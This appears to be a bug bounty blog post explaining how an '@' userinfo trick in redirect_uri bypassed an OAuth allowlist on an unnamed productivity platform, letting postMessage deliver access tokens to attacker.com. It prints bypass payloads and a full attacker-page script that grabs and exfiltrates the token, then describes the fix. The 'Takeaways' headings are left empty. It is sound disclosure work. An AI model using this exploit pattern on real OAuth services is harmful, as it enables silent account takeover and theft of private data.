← Back to all posts

How a Single @ Symbol Turned Into a 1-Click Account Takeover

Bug Bounty Research · OAuth Security

Sometimes the most devastating bugs hide behind the simplest payloads. This is the story of how I stole OAuth access tokens, granting broad access across a victim's account, from any authenticated user of a major productivity platform. One click. No consent prompt. No interaction beyond the initial tap.

The entire exploit hinged on a single character: @.


The Setup

The target was a large-scale productivity platform serving tens of millions of users. The platform uses an internal OAuth 2.0 authorization server to handle token issuance for its first-party clients. Web applications across the ecosystem request tokens from this central endpoint, and the tokens are delivered back to the requesting page via postMessage.

I was looking at the OAuth login endpoint and its handling of redirect_uri. This is a parameter every OAuth implementation must validate carefully because it tells the server where to send the token. If an attacker can inject their own domain here, the victim's token gets sent to the attacker instead.

Most mature implementations validate redirect_uri against a strict allowlist. This one did too. Or so it appeared.

The Allowlist

The OAuth endpoint accepted a specific first-party client_id, the one used by the platform's own client. For this client, the allowed redirect_uri was the application domain. Let's call it app.example.com.

I started with the obvious bypass attempts:

redirect_uri=https://app.example.com.evil.com      → rejected
redirect_uri=https://evil.com/app.example.com       → rejected
redirect_uri=https://app.example.com%2e.evil.com    → rejected
redirect_uri=https://app.example.com/.evil.com      → rejected

Strict. Good. I tried subdomain variations, path traversals, fragment injection, URL encoding tricks, unicode normalization, null bytes. 40+ payloads. All rejected.

Then I tried the @.

RFC 3986 and the Userinfo Component

There's a piece of URL syntax that most developers never think about. Per RFC 3986, an HTTP URL has this structure:

https://userinfo@host:port/path

The userinfo component (everything before @) is technically valid syntax. Browsers have historically supported it, though most now strip or ignore it. Critically, the host is whatever comes after the @.

So what happens if the OAuth server is doing string matching instead of proper URL parsing?

redirect_uri=https://app.example.com@attacker.com

The server scans the string, finds app.example.com, and says: "looks good." But the actual host, the domain the browser resolves and the domain that receives the request, is attacker.com.

I sent it. The server accepted it.

The Token Delivery Mechanism

An important nuance: this was not an open redirect. The server never issued a 302 redirect to the attacker's domain. There was no navigation, no HTTP response splitting, no Location header pointing somewhere it shouldn't. If you were looking for a traditional redirect-based OAuth token theft, you wouldn't find one here.

Instead, the OAuth server returned an HTML page that stayed on its own origin and delivered the token via postMessage:

source.postMessage(
    '{"type":"auth","detail":{"access_token":"TOKEN_HERE"}}',
    "https://app.example.com@attacker.com"
);
window.close();

The second argument to postMessage is the target origin. The browser must parse this string to determine which window is allowed to receive the message.

Here's the thing: browsers parse origins correctly. When the browser sees https://app.example.com@attacker.com as an origin, it strips the userinfo and resolves the origin as https://attacker.com.

So the token is delivered via postMessage to any window with origin https://attacker.com.

If the attacker opened this OAuth popup from their own page on attacker.com, they receive the token. The popup closes immediately. The user saw a window flash for less than a second.

There was one more piece. The OAuth endpoint supports a mode=hidden parameter, designed for silent token renewal when the user already has an active session. When this parameter is set, no consent screen is shown. No "Allow this app to access your data?" dialog. Nothing.

Combined with the redirect_uri bypass, this meant: if the victim is logged in, the token is issued and delivered silently. Zero interaction beyond the initial click.

The Full Exploit

The attack flow:

1. Attacker hosts a page on https://attacker.com:

window.addEventListener('message', function(event) {
    var data = JSON.parse(event.data);
    if (data.type === 'auth' && data.detail.access_token) {
        // Token stolen. Exfiltrate.
        fetch('/collect', {
            method: 'POST',
            body: JSON.stringify(data.detail)
        });
    }
});

document.onclick = function() {
    window.open(
        'https://oauth.target.com/login?' +
        'client_id=FIRST_PARTY_CLIENT_ID' +
        '&redirect_uri=' + encodeURIComponent('https://app.example.com@attacker.com') +
        '&response_type=token' +
        '&scope=REDACTED' +
        '&mode=hidden'
    );
};

2. Victim visits the page while logged in. Clicks anywhere.

3. A popup opens to the OAuth server. The server validates redirect_uri, sees the trusted domain in the string, accepts it.

4. The server issues an access token with all requested scopes and delivers it via postMessage to https://app.example.com@attacker.com. The browser resolves this as https://attacker.com.

5. The attacker's message listener fires, extracts the token, exfiltrates it.

6. The popup auto-closes. The victim noticed nothing beyond a brief flicker.

What the Token Unlocks

The stolen token was issued with the same privileges as the platform's own first-party client. It granted broad access across the victim's account: profile data, private messages, stored files, and connected services. The kind of access that, in the wrong hands, means full account compromise without ever touching the user's password.

With a valid token, the attacker could silently query internal APIs to pull PII, read private content, and enumerate data across every integrated service the platform offers. No rate limiting was observed on the APIs accepting these tokens, and the tokens had a long enough lifetime to do serious damage before expiry.

The bottom line: one click gave the attacker the same level of access as if they'd logged in as the victim.

The Fix

After reporting, the team deployed a fix that:

1. Rejects any redirect_uri containing a @ in the authority component
2. Parses the URL properly and validates the extracted hostname against the allowlist

Post-patch, I retested with 48 bypass variants: path traversals, encoding tricks, subdomain abuse, fragment injection, null bytes. All rejected. The fix was solid.

Takeaways

For builders:

For hunters: